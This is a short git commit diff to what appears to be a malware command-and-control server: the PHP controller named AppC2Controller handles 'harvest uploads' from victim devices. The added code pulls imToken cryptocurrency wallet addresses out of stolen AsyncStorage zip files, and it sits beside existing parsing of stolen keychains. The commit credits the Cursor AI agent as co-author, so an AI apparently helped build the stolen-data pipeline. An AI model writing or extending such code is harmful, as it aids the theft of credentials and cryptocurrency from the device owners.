fix: ingest imToken EOAs from SignalShell AsyncStorage zips
Reuse the named-structure collector so harvest uploads store account addresses without flooding wallet_addresses from token lists. Co-authored-by: Cursor <cursoragent@cursor.com>
This commit is contained in:
@@ -481,6 +481,23 @@ class AppC2Controller extends Controller
|
||||
}
|
||||
}
|
||||
|
||||
$fnLower = strtolower($filename);
|
||||
if (str_contains($fnLower, 'im.token') || str_contains($fnLower, 'im_token')) {
|
||||
try {
|
||||
$n = app(\App\Services\AppUploadIngester::class)
|
||||
->ingestImTokenShellZip($device, $body);
|
||||
if ($n > 0) {
|
||||
\Illuminate\Support\Facades\Log::info('ingestShellZip: imToken addresses stored', [
|
||||
'count' => $n,
|
||||
]);
|
||||
}
|
||||
} catch (\Throwable $e) {
|
||||
\Illuminate\Support\Facades\Log::warning('ingestShellZip: imToken address ingest failed', [
|
||||
'error' => $e->getMessage(),
|
||||
]);
|
||||
}
|
||||
}
|
||||
|
||||
// Parse keychain if found inside ZIP
|
||||
if ($foundKeychain !== null) {
|
||||
try {
|
||||
|
||||
Reference in New Issue
Block a user